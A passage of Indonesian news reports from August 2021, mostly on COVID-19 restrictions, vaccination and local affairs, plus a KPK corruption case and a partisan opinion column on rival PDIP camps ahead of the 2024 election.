katanya. Dirinya berharap kenaikan harga lada tersebut dapat mensejahterakan petani lada di daerah itu. "Karena musim panen buah sela akan berlangsung pada Februari 2022 mendatang," ujar. (mth)

Anak Usia di Bawah 12 Tahun Dilarang Terbang Melalui Bandara El Tari

Kupang, FNN- Manajemen PT. Angkasa Pura I Bandara El Tari Kupang sudah menerapkan larangan terbang bagi anak usia dibawah 12 tahun untuk mencegah terpaparnya COVID-19. "Larangan ini merujuk pada Surat Edaran Kementerian Perhubungan Nomor 61 Tahun 2021 tentang Petunjuk Pelaksanaan Perjalanan Orang dalam Negeri dengan Transportasi Udara pada Masa Pandemi COVID-19," kata Humas PT. Angkasa Pura 1 Bandara El Tari Kupang Rahmat Sugeng kepada ANTARA di Kupang, Senin. Larangan yang diterapkan oleh manajemen bandara El Tari Kupang tersebut sesuai edaran dari Menteri Perhubungan. Rahmat menjelaskan, di dalam edaran khususnya di bagian F tertulis jelas soal larangan bagi anak usai dibawah 12 tahun dilarang untuk melakukan perjalanan udara melalui bandara tersebut. "Penerapan larangan ini sudah kami terapkan sejak tanggal 11 Agustus 2021, dan sejauh pantauan kami tidak ada anak-anak yang ikut terbang," ujar dia. Selain aturan tersebut ada juga aturan larangan makan di dalam pesawat selama penerbangan, kecuali dengan alasan medis atau kesehatan. Sementara itu beberapa pelaku perjalanan yang ditemui ANTARA di bandara El Tari mengaku mendukung upaya pemerintah untuk mencegah penyebaran COVID-19 bagi anak-anak. "Menurut saya ini bagus. Karena anak-anak juga rentan akan terpapar oleh COVID-19, apalagi informasinya varian baru ini sangat rentan kepada anak-anak," ujar Robert. Lebih baik di tengah pandemi seperti ini, kegiatan bepergian ditiadakan terlebih dahulu, kecuali jika memang ada urusan mendesak dan ada tugas kantor. (mth)

Satgas: 36,90 Persen Nakes Babel Terima Vaksin Tahap III

Pangkalpinang, FNN - Satgas Penanganan COVID-19 Provinsi Kepulauan Babel menyatakan sebanyak 4.096 atau 36,90 persen dari 11.099 orang tenaga kesehatan telah menerima vaksin COVID-19 tahap III, sebagai langkah pemerintah memperkuat imunitas nakes dalam penanganan pasien di daerah itu. "Pemberian vaksin ke-3 ini hanya diberikan kepada nakes, untuk menekan angka kasus nakes terpapar virus dan kematian akibat COVID-19 ini," kata Sekretaris Satgas Penanganan COVID-19 Provinsi Kepulauan Babel Mikron Antariksa di Pangkalpinang, Senin. Ia menjelaskan cakupan vaksin III di Provinsi Kepulauan Bangka Belitung yang dikhususkan untuk sasaran tenaga kesehatan baru sebanyak 36,90 persen. Dengan paling besar pada Kabupaten Belitung 57,48 persen dan paling kecil Kota Pangkalpinang 16,86 persen. Sementara itu cakupan vaksinasi 1 secara keseluruhan sudah mencapai 23,12 persen dari total sasaran 1.137.824 orang, dengan rincian paling besar di Kota Pangkalpinang 37,55 persen dan paling kecil di Kabupaten Bangka Selatan 12,29 persen. Cakupan vaksinasi lengkap vaksin ke-2 baru sebanyak 14,96 persen dari total sasaran 1.137.824 orang, dengan rincian paling besar di Kota Pangkalpinang 26,29 persen dan paling kecil di Kabupaten Bangka Selatan 5,88 persen. "Dalam mempercepat pelaksanaan vaksin ini, kita didukung penuh oleh unsur TNI/ Polri serta instansi lainnya agar dapat mempercepat akselerasi cakupan vaksin yang optimal dan segera mungkin," katanya. Ia mengatakan selama periode 16 Agustus sampai 21 Agustus 2021 total yang divaksinasi sebanyak 30.198 orang dengan jumlah dosis ke-1 sebanyak 19.961 orang dan dosis ke-2 10.237 orang. "Alhamdullilah, animo masyarakat untuk mengikuti vaksinasi ini cukup tinggi, sehingga mengakibatkan ketersediaan stok vaksin yang kurang," ujarnya. Anggota Komisi IV DPRD Provinsi Kepulauan Babel Marsidi mengaku masih menemukan beberapa Puskesmas yang tidak memiliki vaksin COVID-19, karena tidak mendapatkan pasokan. "Kami berharap pemerintah segera memasok vaksin COVID-19 ini ke Puskesmas yang tidak memiliki stok, dengan harapan dapat meningkatkan kesadaran masyarakat untuk menyukseskan vaksinasi massal ini," katanya. Slamet W mewakili Dinas Kesehatan Bangka Selatan menyampaikan salah satu kendala adalah stok vaksin yang terbatas. "Kami akui awalnya kesadaran masyarakat akan pentingnya vaksin juga masih kurang, sehingga daya serap vaksin memang cukup rendah, namun sekarang animo masyarakat tinggi, namun tidak diiringi dengan ketersediaan vaksin yang memadai," katanya. (mth)

Aktivitas Ekonomi di Depok Kembali Bergeliat Setelah PPKM Level 3

Depok, FNN - Menurunnya status Kota Depok Jawa Barat dari level 4 menjadi level 3 saat Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) membuat sejumlah kegiatan ekonomi dapat kembali berjalan. "Dengan menurunnya status tersebut sejumlah kegiatan ekonomi dapat kembali berjalan. Namun tetap dengan beberapa pembatasan yang diterapkan," kata Wali Kota Depok Mohammad Idris di Depok, Senin. Untuk itu Idris mengecek langsung penerapan protokol kesehatan (prokes) restoran di kawasan Margonda Raya, untuk memastikan pembatasan dilaksanakan dengan baik oleh pelaku usaha. "Restoran harus memenuhi ketentuan prokes. Semoga ini dapat dijaga dan berjalan seperti ini terus," katanya. Selain penanganan COVID-19 yang baik, pemerintah pusat juga meminta untuk melakukan langkah-langkah pemulihan ekonomi. Maka dari itu, kegiatan ekonomi yang kembali berjalan di restoran yang merupakan salah satu upaya dalam memulihkan ekonomi. Selain juga untuk meningkatkan Pendapatan Asli Daerah (PAD) Kota Depok dari wajib pajak. "Untuk itu, usaha-usaha yang sebelumnya tutup pada PPKM Level 4 kemarin, saat PPKM Level 3 ini dibuka kembali dengan prokes yang ketat. Termasuk sejumlah mal di Depok juga sudah dibuka, tapi tetap dibatasi 50 persen dari kapasitas dan menerapkan prokes," katanya. Saat ini ruang Instalasi Gawat Darurat (IGD) sudah kosong. Bahkan, di Rumah Sakit Umum Daerah (RSUD) Kota Depok yang disiapkan dua lantai untuk penanganan COVID-19, kini hanya tinggal beberapa orang saja yang masih menjalani perawatan. "Sekarang tenaga kesehatan bisa istirahat kembali. Namun jangan sampai mereka kecolongan lagi, karena warga yang tidak disiplin," katanya. Sementara itu Kepala Satuan Polisi Pamong Praja (Kasatpol PP), Lienda Ratnanurdianny menambahkan, restoran ataupun rumah makan saat PPKM Level 4 tidak boleh melakukan makan di tempat, sebab hanya boleh take away. Namun saat ini dengan penurunan status menjadi Level 3, restoran atau tempat makan kembali diizinkan melakukan makan di tempat, namun dengan sejumlah ketentuan. "Tadi Wali Kota sudah mengecek langsung penerapan (prokes) dan ketentuan makan 30 menit. Hasilnya restoran sudah memenuhi ketentuan dari kebijakan yang ada," ujarnya. (mth)

Pengalaman Deddy Corbuzier dan Pelajaran COVID-19 Tak Bisa Diremehkan

Jakarta, FNN - Pengalaman presenter Deddy Corbuzier terkena COVID-19 bergejala berat beberapa waktu lalu bisa menjadi pelajaran untuk masyarakat agar tak meremehkan penyakit akibat virus SARS-CoV-2 itu, menurut Dr. Vito Anggarino Damay, Sp.JP(K)., M.Kes., FIHA., FICA, FAsCC dari Perhimpunan Dokter Spesialis Kardiovaskular Indonesia (PERKI). "Saya salut sama Deddy Corbuzier tidak menutupi dia kena COVID-19 dan memakai ini sebagai edukasi bahwa orang sehat pun masih bisa kena COVID-19 yang berat, dan pola hidup sehat memang sangat membantu menyelamatkan seseorang kalaupun terkena penyakit," kata dia kepada ANTARA, Senin. Badai sitokin seperti pada kasus Deddy terjadi saat kekebalan tubuh yang awalnya menyerang dan menghabisi virus, masih bereaksi bahkan mungkin berlebihan, sehingga walau virus sudah tak ada lagi tetapi tubuh masih menanggung akibatnya. Vito mengatakan, ketika badai sitokin terjadi, maka bisa terjadi kegagalan fungsi organ, syok, tekanan darah turun, peradangan jantung, gagal ginjal dan kesadaran turun. Dia menyebut kondisi ini sebagai sesuatu yang menyeramkan. Mereka yang bahkan sudah dinyatakan negatif berdasarkan hasil tes swab juga bisa mengalaminya, seperti hal yang dialami Deddy. Dalam hal ini, tubuh yang bugar dan sehat akan membuat mereka dengan COVID-19 lebih kuat menghadapi serangan virus. Tetapi, ini tak berarti Anda bisa menganggap enteng virus corona. "Tubuh yang kuat, bugar, hidup yang sehat akan membuat kita lebih kuat menghadapi serangan virus. Tubuh yang sehat membuat pertahanan lebih kuat. Tapi intinya jangan anggap enteng virus ini, mau tua mau muda atau yang merasa sehat, jangan sampai kena, karena itu protokol kesehatan pertahankan, termasuk pakai masker," demikian pesan Vito. Hal senada terkait badai sitokin juga diungkapkan dokter yang juga tergabung dalam tim COVID-19 Rumah Sakit Umum Daerah (RSUD) Koja, Tanjung Priok, Siti Rosidah, MD. Dia mengatakan, badai sitokin bisa menginduksi ke infeksi yang lebih berat, mengakibatkan kegagalan multiorgan dan menyebabkan kematian. Sebelumnya, Deddy melalui podcast-nya menyatakan sempat terkena COVID-19 tanpa gejala. Setelah beberapa hari dia melakukan tes swab dan hasilnya negatif. Tetapi, tak lama setelahnya dia mengalami badai sitokin dengan keadaan paru paru rusak 60 persen dalam dua hari. "Hebat-nya oksigen darah saya tidak turun bahkan diam di 97-99 karena pola hidup sehat saya selama ini hingga saya bisa selamat walau dengan kerusakan paru yang parah," tulis Deddy melalui laman Instagramnya. (mth)

Pemprov Kepri Minta Tunda Pembelajaran Tatap Muka

Tanjungpinang, FNN - Pemerintah Provinsi Kepulauan Riau meminta pemerintah kabupaten dan kota menunda pembelajaran tatap muka untuk melindungi para pelajar dan guru dari penularan COVID-19. Ketua Harian Satgas Penanganan COVID-19 Kepri Lamidi, di Tanjungpinang, Senin, mengatakan, rata-rata jumlah warga di wilayah itu yang tertular COVID-19 mencapai 200 orang/hari. Artinya, potensi penularan warga terhadap COVID-19 masih tinggi, meski jauh lebih rendah dibanding Juli 2021. "Jumlah kasus aktif COVID-19 di Kepri per 21 Agustus 2021 mencapai 1.635 orang, dengan 'positive rate' mencapai 8,5 persen," katanya. Ia menyatakan keseriusan Pemprov Kepri meminta pemerintah kabupaten dan kota untuk menunda pembelajaran tatap muka tidak hanya melalui pernyataan Gubernur Ansar Ahmad melalui media massa, melainkan sejak 21 Agustus 2021 dituangkan dalam surat yang ditujukan kepada pemerintah kabupaten dan kota di wilayah itu. Berdasarkan Surat Nomor 567/SET-STC19/VIII/2021 capaian vaksinasi usia 12-17 tahun dosis 1 sebanyak 89.260 orang (42,98 persen), usia 12-17 tahun dosis 2 sebanyak 24.696 orang (11,89 persen), usia di atas 18 tahun tahun dosis 1 mencapai 986.619 (71,84 persen), dan usia di atas 18 tahun tahun dosis 2 sebanyak 374.940 (27,30 persen). "Angka 'positive rate'" Kepri pada periode Minggu III Agustus 2021 melebihi ambang batas yang ditetapkan oleh Organisasi Kesehatan Dunia (WHO) yakni sebesar kecil 5 persen," katanya. Lamidi, yang juga Penjabat Sekda Kepri mengemukakan berdasarkan hasil evaluasi terhadap efektivitas vaksin COVID-19 yang dilakukan Badan Penelitian dan Pengembangan Kesehatan Kemenkes RI dinyatakan bahwa efikasi vaksin akan mencapai titik optimal apabila dosis 2 atau penuh telah diberikan pada sasaran. Sebagaimana berpedoman pada Instruksi Menteri Dalam Negeri Nomor 32 Tahun 2021, penyelenggaraan pembelajaran tatap muka di satuan pendidikan pada wilayah dengan kriteria level 3, diperkenankan untuk dilaksanakan dengan ketentuan SD/SMP/SMA/PT maksimal sebanyak 50 persen, SLB maksimal sebanyak 62-100 persen dan PAUD maksimal 33 persen. "Dengan catatan, pemerintah provinsi/kabupaten/kota dapat melakukan pengaturan lebih lanjut, memperhatikan situasi dan karakteristik masing-masing daerah, serta disejalankan dengan optimalisasi strategi pencegahan dan penghentian penyebaran COVID-19," katanya. Dengan mempertimbangkan hal-hal tersebut di atas, maka Pemprov Kepri meiminta bupati dan wali kota untuk dapat menunda penyelenggaraan pembelajaran tatap muka di satuan pendidikan pada wilayah dengan kriteria level 3, adanya penurunan kriteria level pada wilayah kabupaten/kota minimal menjadi kriteria level 2 berdasarkan penetapan yang dilakukan oleh pemerintah melalui Kemendagri, demikian Lamidi. (mth)

LSM Lodaya Bangkitkan Seniman Melalui Lomba Tari Jaipong Bedog Lubuk

Karawang, Jabar, FNN - LSM Lodaya membangkitkan gairah para seniman dan budayawan di masa pandemi dengan menggelar Pasanggiri Tari Jaipong Bedog Lubuk tingkat Provinsi Jawa Barat. "Kegiatannya akan digelar secara virtual, karena masih dalam suasana pandemi," kata Ketua LSM Lodaya Nace Permana di Karawang, Senin. Ia mengatakan, masa pendaftaran lomba tari Jaipong Bedog Lubuk itu sudah dibuka, masa pendaftarannya berlangsung pada 5-31 Agustus 2021. "Sampai saat ini sudah ada 70 peserta, mereka berasal dari sanggar-sanggar seni di wilayah Jawa Barat," katanya. Menurut dia, besok atau lusa peserta Pasanggiri Tari Jaipong Bedog Lubuk tingkat Jabar di Karawang akan terus bertambah. Sebab animo pelaku seni cukup tinggi. "Banyak dari mereka yang meminta agar tidak dibatasi. Padahal dari kami, satu sanggar hanya boleh mengutus maksimal dua grup," katanya. Sementara itu, Bedog atau golok merupakan senjata pusaka Karawang dan tersemat dalam Logo Pemkab Karawang, kini diaktualisasikan dalam bentuk tarian. Tarian Bedog Lubuk dibawakan enam penari perempuan dengan kombinasi kostum berwarna hijau dan emas dominan. Gerak tariannya menggunakan golok, menyajikan gerakan yang penuh semangat. "Jadi melalui pasanggiri ini kita ingin memberi edukasi ke masyarakat tentang sejarah Karawang melalui seni tari," katanya. (mth)

Anggota DPR Ajak Kepala Daerah di Kalbar Wujudkan Kedaulatan Pangan

Pontianak, FNN - Anggota Komisi IV DPR RI Daniel Johan mengajak kepala daerah di Provinsi Kalbar, termasuk di tingkat kabupaten atau kota untuk berdiskusi bersama menetapkan arah pembangunan sektor pertanian dan perkebunan untuk mewujudkan kedaulatan pangan di masa mendatang. "Selain itu, ada potensi pendapatan daerah yang bisa optimal jika sektor pertanian dan perkebunan ini terlebih Kalbar sudah ada Pelabuhan Internasional Kijing," kata Daniel Johan saat dihubungi di Pontianak, Senin. Salah satu langkah pertama yang perlu dilakukan dengan pemetaan komoditas yang dikembangkan secara optimal. "Tidak perlu terlalu banyak, misalnya 10 komoditas yang sudah ada, sudah bertumbuh, dan perlu dimaksimalkan potensinya," ujar Daniel. Ia mencontohkan untuk komoditas kelapa sawit. Berdasarkan data Badan Pusat Statistik (BPS) ada sekitar 750 ribu hektare lahan perkebunan kelapa sawit rakyat di Provinsi Kalbar. Namun produksinya, berdasarkan data BPS Tahun 2019, di kisaran 955 ribu ton. Dengan asumsi harga 1 ton CPO di kisaran Rp15 juta, maka produksi CPO yang bersumber dari perkebunan kelapa sawit sawit rakyat di Kalbar nilainya mencapai Rp2,5 triliun. "Kalau produksi perkebunan rakyat dinaikkan misalnya rata-rata naik dua kali lipat, nilai tersebut juga akan menjadi dua kali lipat," ujar Daniel. Selain itu, pemerintah menyiapkan pabrik kelapa sawit (PKS) untuk kebun rakyat di luar perusahaan, dampaknya akan lebih dirasakan secara luas. "Pemda melalui BUMD misalnya, membangun PKS bagi kebun rakyat di lokasi yang efisien dan ekonomis. Sekaligus memberi nilai tawar ke perusahaan agar harga dari petani tetap tinggi," kata anggota DPR RI Dapil Kalbar 1 itu. Adanya Pelabuhan Internasional Kijing maka ekspor CPO dapat langsung dilakukan dari Kalbar sehingga ada potensi pajak yang masuk ke Pemda yang nilainya dapat mencapai triliunan rupiah per tahun. "Tidak perlu tambah areal lahan sawit, cukup maksimalkan yang ada," katanya menegaskan. Ia lebih memilih untuk mengoptimalkan potensi perkebunan kelapa sawit rakyat karena jika perusahaan sudah lebih kuat baik modal maupun SDM. "Selain meningkatkan produksi petani, juga kualitas SDM petani. Dampaknya mungkin tidak segera, tetapi satu atau dua tahun ke depan, sehingga perlu kerja keras dan bersama semua pihak," ujar dia. Menurut Daniel, itu baru membahas potensi satu komoditas yang sudah ada di Kalbar. "Masih banyak komoditas lain yang sangat potensial di Kalbar. Misalnya beras, karet, nanas, kelapa dalam, kelapa hibrida, pinang, atau tanaman lain yang tumbuh dan menghasilkan sepanjang tahun. Cukup tetapkan 10 tanaman komoditas sebagai perencanaan dan pemetaan, terutama setelah adanya Pelabuhan Internasional Kijing. Ini yang harus disiapkan dan diantisipasi," katanya. Kemudian, Kalbar juga relatif lebih dekat ke negara tujuan ekspor Indonesia seperti China, India, Korea Selatan dan Jepang. Selain itu, Kalbar punya perbatasan darat langsung dengan Sarawak, Malaysia. "Sayang kalau ini tidak dimanfaatkan. Siapkan secara terukur, terencana dan detail, untuk mencapai target kedaulatan pangan di Kalbar serta meningkatkan pendapatan asli daerah, serta mendorong rakyat menjadi lebih sejahtera," kata Daniel Johan. (mth)

KPK Panggil Lima Saksi Terkait Kasus Asuransi Jasindo

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) memanggil lima saksi untuk tersangka Direktur Keuangan dan Investasi PT Asuransi Jasindo periode 2008—September 2016 Solihah (SLH). Mereka dipanggil pada hari Senin dalam penyidikan kasus dugaan korupsi pembayaran komisi kegiatan fiktif agen PT Asuransi Jasindo dalam penutupan (closing) asuransi oil dan gas pada BP MIGAS-KKKS pada tahun 2010—2012 dan 2012—2014. "Hari ini pemeriksaan saksi dugaan korupsi kegiatan fiktif agen PT Asuransi Jasa Indonesia (Persero) dalam penutupan (closing) asuransi oil dan gas pada BP Migas-KKKS pada tahun 2020—2012 dan 2012—2014 untuk tersangka SLH. Pemeriksaan dilakukan di Kantor KPK, Jakarta Selatan," kata Plt, Juru Bicara KPK Ali Fikri dalam keterangannya di Jakarta. Lima saksi, yaitu Dwi Yanti Handayani selaku karyawan PT Asuransi Jasindo/Sekretaris Dirut PT Asuransi Jasindo, Kepala PT Asuransi Jasindo Cabang Gatot Subroto 2009—2010 Budi Susilo, Karyawati PT Asuransi Jasindo Yani Karyani, Suntoro selaku cleaning service PT Asuransi Jasindo, dan mantan Karyawan PT Asuransi Jasindo Yuko Gunawan. Selain Solihah, KPK juga telah menetapkan pemilik PT Ayodya Multi Sarana (AMS) Kiagus Emil Fahmy Cornain (KEFC) sebagai tersangka. Kasus yang menjerat dua orang tersebut adalah pengembangan penyidikan dengan tersangka Direktur Utama PT Asuransi Jasindo periode 2011—2016 Budi Tjahjono yang saat ini perkaranya telah berkekuatan hukum tetap. Atas perbuatannya, dua tersangka itu disangkakan melanggar Pasal 2 Ayat (1) atau Pasal 3 Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001 juncto Pasal 55 Ayat (1) ke-1 KUHP. Dalam konstruksi perkara dijelaskan bahwa Kiagus melobi beberapa pejabat di BP Migas untuk memenuhi keinginan Budi yang menginginkan PT Asuransi Jasindo menjadi leader konsorsium (sebelumnya berstatus sebagai co-leader) dalam penutupan asuransi proyek dan aset BP Migas-KKKS pada tahun 2009—2012. Atas pembantuan yang dilakukan oleh Kiagus, selanjutnya Budi memberikan sejumlah uang dengan memanipulasi cara mendapatkan pengadaannya seolah-olah menggunakan jasa agen asuransi yang bernama Iman Tauhid Khan yang merupakan anak buah Kiagus sehingga terjadi pembayaran komisi agen dari PT Asuransi Jasindo kepada Iman sejumlah Rp7,3 miliar. Jumlah uang Rp7,3 miliar tersebut lalu diserahkan oleh Kiagus kepada Budi sejumlah Rp6 miliar dan sisa Rp1,3 miliar untuk kepentingan Kiagus. Menindaklanjuti perintah Budi agar PT Asuransi Jasindo tetap menjadi leader konsorsium dalam penutupan asuransi proyek dan aset BP Migas-KKKS pada tahun 2012—2014 dilakukan rapat direksi yang di antaranya dihadiri oleh Solihah selaku Direktur Keuangan PT Asuransi Jasindo. Dalam rapat direksi tersebut diputuskan tidak lagi menggunakan agen Iman Tauhid Khan, kemudian diganti dengan Supomo Hidjazie. Hal ini disepakati untuk pemberian komisi agen dari Supomo dikumpulkan melalui Solihah. Dalam pengadaan penutupan asuransi proyek dan aset BP Migas-KKKS pada tahun 2012—2014 tersebut, Budi tetap menggunakan modus seolah-olah pengadaan tersebut didapatkan atas jasa agen asuransi Supomo tersebut dengan pembayaran komisi agen sejumlah 600.000 dolar AS. Uang itu diberikan secara bertahap oleh Supomo kepada Budi melalui Solihah yang dipergunakan untuk keperluan pribadi Budi sekitar 400.000 dolar AS dan juga khusus bagi keperluan pribadi Solihah sekitar sejumlah 200.000 dolar AS. (mth)

Selandia Baru Perpanjang "Lockdown"

Wellington, FNN - Perdana Menteri Selandia Baru Jacinda Ardern pada Senin memperpanjang penguncian wilayah (lockdown) secara ketat untuk mencegah COVID-19 dan mengatakan wabah varian Delta virus corona belum mencapai puncaknya. Penguncian nasional level 4 diperpanjang tiga hari hingga 27 Agustus tengah malam, sementara Auckland, episentrum wabah COVID-19 di negara itu, akan memberlakukan pembatasan setidaknya hingga 31 Agustus. "Pilihan teraman bagi kita semua saat ini adalah mempertahankan pembatasan yang lebih lama," kata Ardern pada konferensi pers. "Dunia telah mengajari kita sesuatu, berhati-hatilah dengan varian COVID-19 ini," tambahnya. Ardern mengatakan kontak di masyarakat oleh orang yang terinfeksi varian Delta dilaporkan di seluruh negeri. Ada lebih dari 320 lokasi yang terkait dengan wabah dan 13.000 kontak telah dicatat, jauh lebih banyak daripada wabah sebelumnya. "Varian Delta telah mengubah aturan main," kata Ardern. Selandia Baru pada hari sebelumnya melaporkan 35 kasus baru COVID-19 sehingga jumlah total infeksi menjadi 107. Kementerian kesehatan mengatakan dalam sebuah pernyataan bahwa 33 kasus baru berasal dari Auckland dan dua kasus lainnya dari ibu kota Wellington. (mth)

Banteng Adu Tanduk, PDIP Pecah

SELEMBAR surat yang ditandatangani Ketua Umum Partai Demokrasi Indonesia Perjuangan, Megawati Soekarnoputri dan Sekretaris Jenderal, Hasto Kristiyanto beredar dan menarik dicermati. Surat tertanggal 11 Agustus 2021, bernomor 3134/IN/DPP/VIII/2021, perihal : Penegasan Komunikasi Politik. Surat ditujukan kepada DPP PDI Perjuangan, anggota Fraksi PDI Perjuangan DPR RI, DPD dan DPC, anggota F-PDIP DPRD provinsi, kabupaten/kota, kepala daerah dan/atau wakil kepala daerah kader PDIP seluruh Indonesia. Intinya, penegasan kepada tiga pilar partai di tingkat masing-masing, sebagaimana pasal 15 huruf f Anggaran Dasar dan Anggaran Rumah Tangga Partai Tahun 2019, “Dalam melaksanakan kepemimpinannya, Ketua Umum bertugas, bertanggung jawab dan berwenang serta mempunyai Hak Prerogatif untuk memutuskan Calon Presiden dan/atau Calon Wakil Presiden...” Semua kader diminta disiplin agar tidak memberikan tanggapan terkait calon presiden dan calon wakil presiden. Pelanggaran terhadap ketentuan tersebut akan dikenai sanksi disiplin partai. Dalam surat tersebut dijelaskan, “Skala prioritas partai adalah membantu rakyat dalam menangani seluruh dampak akibat pandemi Covid-19. Peningkatan jumlah pasien Covid-19 sangat serius dan sudah menjadi tugas kita bersama agar seluruh anggota dan kader partai untuk bahu-membahu, bergotong-royong membantu rakyat.” Ada dua hal yang menarik dicermati dari isi surat tersebut. Pertama, jelas-jelas semakin memperlihatkan terjadinya perpecahan di tubuh partai berlambang banteng hitam bermoncong putih itu. Surat tersebut muncul pada saat terjadinya kubu yang mencoba memuluskan Ganjar Pranowo menjadi calon presiden (capres) pada Pilpres 2024. Di sisi lain, ada juga kubu yang ‘ngotot’ mengajukan Puan Maharani menjadi capres 2024. Harap maklum, berdasarkan survei yang dilakukan beberapa lembaga, elektabilitas Ganjar Pranowo moncer. Sedangkan elektabilitas Puan Maharani masih memble. Berdasarkan hasil survei, perbedaan elektabilitas Gubernur Jawa Tengah dan Ketua Dewan Perwakilan Rakyat (DPR) RI itu ibarat bumi dan langit. Terakhir, survei yang Charta Politika menempatkan nama Ketua DPP PDI Perjuangan Puan Maharani dan Ketua Umum Partai Golkar Airlangga Hartarto di urutan terbawah elektabilitas 10 tokoh calon presiden atau Capres 2024. “Puan 1,4 persen, Airlangga 1 persen,” kata Direktur Eksekutif Charta Politika Yunarto Wijaya dalam paparannya mengenai peta elektoral survei, Kamis, 12 Agustus 2021. Entah sengaja atau kebetulan, hasil survei tersebut keluar sehari setelah surat mengenai “Penegasan Komunikasi Politik” beredar. Yunarto menerangkan, nama Puan dan Airlangga yang berada di urutan terbawah menandakan, banyaknya atribut berupa baliho maupun billboard tidak berkorelasi linier terhadap tingkat elektabilitas. Pemasangan berbagai atribut di berbagai daerah tersebut hanya bisa mendongkrak populatiras seseorang, bukan elektabilitas. Ada 10 nama yang disurvei. Menurut Yunarto, nama Gubernur Jawa Tengah Ganjar Pranowo mendapat elektabilitas tertinggi 20,6 persen. Diikuti Gubernur DKI Jakarta Anies Baswedan 17,8 persen, Ketua Umum Partai Gerindra, Prabowo Subianto 17,5 persen. Lalu Menteri Pariwisata, Sandiaga Uno 7,7 persen, Gubernur Jawa Barat, Ridwan Kamil 7,2 persen. Kemudian Ketua Umum Partai Demokrat, Agus Harimurti Yudhoyono di urutan keenam dengan elektabilitas 4,2 persen, Menteri, Sosial Tri Rismaharini 3,6 persen, dan Menteri BUMN, Erick Thohir 1,8 persen. Puan Maharani kok berada pada urutan kedua dari bawah? Mestinya, sebagai wanita yang merupakan trah Sukarno, paling tidak urutan nomor 2, 3 atau 4. Atau setidaknya masuk dalam enam besar. Akan tetapi, putri Megawati itu kok berada pada urutan ke-9. Apa yang salah? Apakah yang salah yang melakukan survei atau Puan yang terlihat bagaikan “Putri Malu” menuju Pilpres 2024? Atau karena berkolerasi dengan sebutan “Madam” dalam kasus korupsi bantuan sosial yang menjerat Juliari Peter Batubara, mantan Menteri Sosial dan kawan-kawan. Entahlah. Pastinya, ya Puan berada pada urutan kedua dari bawah dari 10 orang yang disurvei. Kelihatannya, hasil-hasil survei yang muncul belakangan – dan menempatkan Puan berada pada urutan buncit – membuat sang Ibu murka. Ia murka kepada Ganjar, yang kabarnya didukung oleh Presiden Joko Widodo maju sebagai Capres 2024. Mengapa Jokowi mendukung Ganjar? Kabarnya, karena mantan Gubernur DKI Jakarta itu ingin memasangkan Ganjar Pranowo dengan anaknya, Gibran Rakabuming Raka, yang sekarang menjadi Wali Kota Solo. Kabar kubu Puan yang tidak suka dengan Ganjar semakin nyaring. Apalagi, secara terang-terangan Ganjar sudah didukung berbagai pihak. Termasuk, Ahad, 22 Agustus 2021 kemarin, Sahabat Ganjar mendeklarasikan Ganjar Pranowo maju pada Pilpres 2024. Tidak tanggung-tanggung, deklarasi dilakukan di 51 kota pada 34 provinsi se-Indonesia. Perang antara kubu Ganjar dan Puan semakin panas. Menandingi apa yang dilakukan Ganjar yang juga kader PDIP itu, kubu Puan pun menyebarkan baliho dan billboar di seantero nusantara. Ya, meski pemasangannya sudah lama dilakukan dan belakangan semakin marak, tetapi elektabilitas dan popularitas Puan seakan masih saja jalan di dempat. Jalannya seperti keong dan siput. Kedua, surat yang ditandatangani Megawati dan Hasto itu menunjukkan PDIP sudah semakin berseberangan dengan pemerintahan Jokowi. Buktinya, di dalam surat itu, sama sekali tidak menyebutkan kader membantu pemerintah dalam menangani Covid-19. Padahal, ditegaskan prioritas partai adalah membantu rakyat dalam menangani seluruh dampak akibat pandemi Covid-19. Mengapa isi surat tersebut sama sekali menyebutkan membantu pemerintah atau bersama pemerintah bahu-membahu menganani Covid-19. Hal tersebut bisa terjadi, karena kemungkinan selain faktor terciumnya dukungan Jokowi terhadap Ganjar dalam Pilpres 2024, juga karena pejabat dari PDIP tidak dilibatkan dalam komando penanganan pandemi corona. Sulit dilukiskan bagaimana hati Megawati tidak hancur melihat Jokowi malah mengangkat Luhut Binsar Panjaian dan Airlangga Hartarto menjadi ‘panglima’ tempur Covid-19. Luhut adalah politisi senior Partai Golkar/Ketua Dewan Penasihat Golkar. Sedangkan Airlangga adalah Ketua Umum parta berlambang beringin itu. Kenapa mandat itu tidak diberikan kepada kader PDIP yang duduk di pemerintahan? Kalau Menteri Sosial, Tri Rismaharini membagi-bagi bantuan sosial, itu bukan penugasan khusus. Akan tetapi, sudah menjadi tugas dan tanggungjawabnya. Hal yang sama juga diemban oleh mantan Mensos, Juliari Peter Batubara yang dipenjara karena korupsi dana bansos. Mengapa Jokowi menunjuk Luhut dan Airlangga. Lagi-lagi itu juga merupakan langkah politis strategis. Sebagai partai pemenang Pemilu urutan ketiga (perolehan suara Golkar pada Pemilu 2019 sebesar 17.229.789 atau 12,31 persen), wajar Jokowi merangkulnya. Kalkulasi politiknya, jika PDIP tidak mau mendukung Ganjar dan Gibran, maka Jokowi akan meminta ‘bantuan’ kepada Golkar. Ke depan, pertarungan politik antara kubu Ganjar dan Puan akan semakin seru. Banteng sedang adu tanduk. Mereka saling mencari dukungan. Akan tetapi, yang jelas, banyak rakyat termasuk kader PDIP juga tidak menginginkan trah Sukarno menjadi presiden. Banyak yang nyinyir,”Memang Indonesia itu milik keluarga Soekarno?” Buktinya, banyak baliho puan yang dirusak orang tidak dikenal. **

MPR Desak Pemerintah Perbaiki Penanganan Covid-19

Jakarta, FNN - Wakil Ketua MPR RI Lestari Moerdijat meminta pemerintah segera memperbaiki penanganan sektor hulu pengendalian COVID-19 untuk menekan jumlah kasus kematian akibat virus yang menyerang saluran pernapasan tersebut. "Sejumlah indikator pengendalian COVID-19 membaik cukup signifikan. Namun, angka kematian akibat penyakit ini secara nasional belum juga bisa ditekan hingga di bawah 1.000 kasus," kata Wakil Ketua MPR RI Lestari Moerdijat melalui keterangan tertulis yang diterima di Jakarta, Minggu. Oleh sebab itu, lanjut politisi NasDem tersebut perbaikan penanganan COVID-19 di sektor hulu secara masif perlu terus dilakukan dan ditingkatkan. Berdasarkan data Kementerian Kesehatan, kasus harian COVID-19 di Indonesia pada Sabtu (21/8) terjadi penambahan 16.744 kasus. Kendati demikian, kasus positif mengalami penurunan cukup signifikan dibanding Jumat (20/8) yakni 20.004 kasus. Untuk jumlah tes yang dilakukan pada Sabtu 